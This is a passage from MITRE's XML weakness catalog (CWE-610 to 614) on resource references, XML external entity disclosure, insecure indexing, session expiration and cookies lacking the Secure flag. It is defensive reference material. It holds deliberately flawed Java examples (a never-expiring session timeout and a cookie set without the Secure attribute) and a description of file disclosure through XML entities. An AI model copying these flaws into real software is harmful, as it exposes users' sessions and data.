					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Double Checked
						Locking</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="610" Name="Externally Controlled Reference to a Resource in Another Sphere" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses an externally controlled name or reference
					that resolves to a resource that is outside of the intended control
					sphere.</Description_Summary>
				        <Extended_Description/>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is a general class of weakness, but most research is focused on more
						specialized cases, such as path traversal (CWE-22) and symlink following
						(CWE-61). A symbolic link has a name; in general, it appears like any other
						file in the file system. However, the link includes a reference to another
						file, often in another directory - perhaps in another sphere of control.
						Many common library functions that accept filenames will "follow" a symbolic
						link and use the link's target instead.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>219</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Externally Controlled
						Reference to an Internal Resource</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="611" Name="Information Exposure Through XML External Entity Reference" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product processes an XML document that can contain XML
					entities with URLs that resolve to documents outside of the intended sphere of
					control, causing the product to embed incorrect documents into its
					output.</Description_Summary>
				        <Extended_Description>
					          <Text>XML documents optionally contain a Document Type Definition (DTD), which,
						among other features, enables the definition of "XML entities". It is
						possible to define an entity locally by providing a substitution string in
						the form of a URL whose content is substituted for the XML entity when the
						DTD is processed. The attack can be launched by defining an XML entity whose
						content is a file URL (which, when processed by the receiving end, is mapped
						into a file on the server), that is embedded in the XML document, and thus,
						is fed to the processing application. This application may echo back the
						data (e.g. in an error message), thereby exposing the file contents.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>673</Relationship_Target_ID>
					          <!--External Influence of Sphere Definition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>610</Relationship_Target_ID>
					          <!--Externally Controlled Reference to a Resource in Another Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Background_Details>
				        <Background_Detail>
					          <Text>It's important to note that a URL can have non-HTTP schemes, especially,
						that a URL such as "file:///c:/winnt/win.ini" designates (in Windows) the
						file C:\Winnt\win.ini. Similarly, a URL can be used to designate any file on
						any drive.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1306</Observed_Example_Reference>
					          <Observed_Example_Description>A browser control can allow remote attackers to
						determine the existence of files via Javascript containing XML script, aka
						the "XML External Entity vulnerability."</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Relevant_Properties>
				        <Relevant_Property>Accessibility</Relevant_Property>
			      </Relevant_Properties>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>XML External Entities </Mapped_Node_Name>
					          <Mapped_Node_ID>43</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Observed_Example,
						Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Background_Details,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through XML
						External Entity File Disclosure</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="612" Name="Information Exposure Through Indexing of Private Data" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product performs an indexing routine against private
					documents, but does not sufficiently verify that the actors who can access the
					index also have the privileges to access the private
					documents.</Description_Summary>
				        <Extended_Description>
					          <Text>When an indexing routine is applied against a group of private documents,
						and that index's results are available to outsiders who do not have access
						to those documents, then outsiders might be able to obtain sensitive
						information by conducting targeted searches. The risk is especially
						dangerous if search results include surrounding text that was not part of
						the search query. This issue can appear in search engines that are not
						configured (or implemented) to ignore critical files that should remain
						hidden; even without permissions to download these files directly, the
						remote user could read them.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This weakness is probably under-studied and under-reported</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insecure Indexing </Mapped_Node_Name>
					          <Mapped_Node_ID>48</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Information Leak Through
						Insecure Indexing</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Indexing of Private Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="613" Name="Insufficient Session Expiration" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>According to WASC, "Insufficient Session Expiration is when a
					web site permits an attacker to reuse old session credentials or session IDs for
					authorization."</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>672</Relationship_Target_ID>
					          <!--Operation on a Resource after Expiration or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Other_Notes>
				        <Note>
					          <Text>The lack of proper session expiration may improve the likely success of
						certain attacks. For example, an attacker may intercept a session ID,
						possibly via a network sniffer or Cross-site Scripting attack. Although
						short session expiration times do not help if a stolen token is immediately
						used, they will protect against ongoing replaying of the session ID. In
						another scenario, a user might access a web site from a shared computer
						(such as at a library, Internet cafe, or open work environment).
						Insufficient Session Expiration could allow an attacker to use the browser's
						back button to access web pages previously accessed by the victim.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Set sessions/credentials expiration date.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following snippet was taken from a J2EE web.xml deployment
						descriptor in which the session-timeout parameter is explicitly defined (the
						default value depends on the container). In this case the value is set to
						-1, which means that a session will never expire.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>&lt;web-app&gt;</Code>
							              <Block>
								                <Code>[...snipped...]</Code>
								                <Code/>
								                <Code>&lt;session-config&gt;</Code>
								                <Block>
									                  <Code>&lt;session-timeout&gt;-1&lt;/session-timeout&gt;</Code>
								                </Block>
								                <Code>&lt;/session-config&gt;</Code>
							              </Block>
							              <Code>&lt;/web-app&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insufficient Session Expiration </Mapped_Node_Name>
					          <Mapped_Node_ID>47</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>WASC</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="614" Name="Sensitive Cookie in HTTPS Session Without 'Secure' Attribute" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The Secure attribute for sensitive cookies in HTTPS sessions is
					not set, which could cause the user agent to send those cookies in plaintext
					over an HTTP session.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>311</Relationship_Target_ID>
					          <!--Missing Encryption of Sensitive Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always set the secure attribute when the cookie should sent via HTTPS
							only.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The snippet of code below, taken from a servlet doPost() method,
						sets an accountID cookie (sensitive) without calling
						setSecure(true).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Cookie c = new Cookie(ACCOUNT_ID, acctID);</Code>
							              <Code>response.addCookie(c);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0462</Observed_Example_Reference>
					          <Observed_Example_Description>A product does not set the Secure attribute for
						sensitive cookies in HTTPS sessions, which could cause the user agent to
						send those cookies in plaintext over an HTTP session with the
						product.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0462</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3663</Observed_Example_Reference>
					          <Observed_Example_Description>A product does not set the secure flag for the
						session cookie in an https session, which can cause the cookie to be sent in
						http requests and make it easier for remote attackers to capture this
						cookie.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3663</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3662</Observed_Example_Reference>
					          <Observed_Example_Description>A product does not set the secure flag for the
						session cookie in an https session, which can cause the cookie to be sent in
						http requests and make it easier for remote attackers to capture this
						cookie.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3662</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0128</Observed_Example_Reference>
					          <Observed_Example_Description>A product does not set the secure flag for a
						cookie in an https session, which can cause the cookie to be sent in http
						requests and make it easier for remote attackers to capture this
						cookie.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0128</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>102</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
